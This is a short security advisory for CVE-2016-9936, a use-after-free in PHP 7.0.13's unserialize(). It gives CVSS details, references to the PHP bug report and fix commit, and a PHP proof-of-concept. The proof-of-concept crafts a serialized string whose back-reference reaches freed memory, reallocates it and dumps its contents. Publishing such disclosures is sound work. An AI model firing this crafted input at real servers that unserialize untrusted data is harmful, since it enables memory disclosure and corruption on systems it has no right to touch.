PHP 7.0.13 Use After Free unserialize() PoC

2016.12.13

Credit: taoguangchen

Risk: High

Local: No

Remote: Yes

CVE: CVE-2016-9936

CWE: CWE-416

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

PoC:

<?php

class obj1 implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
    }
}

class obj2 {
    var $ryat;
    function __wakeup() {
        $this->ryat = null;
    }
}

$inner = 's:4:"ryat";';
$exploit = 'a:2:{i:0;C:4:"obj1":'.strlen($inner).':{'.$inner.'}i:1;O:4:"obj2":1:{s:4:"ryat";R:3;}}';
$data = unserialize($exploit);
for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}
var_dump($data);

?>

References:

https://bugs.php.net/bug.php?id=72978

https://github.com/php/php-src/commit/b2af4e8868726a040234de113436c6e4f6372d17

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PHP 7.0.13 Use After Free unserialize() PoC

References:

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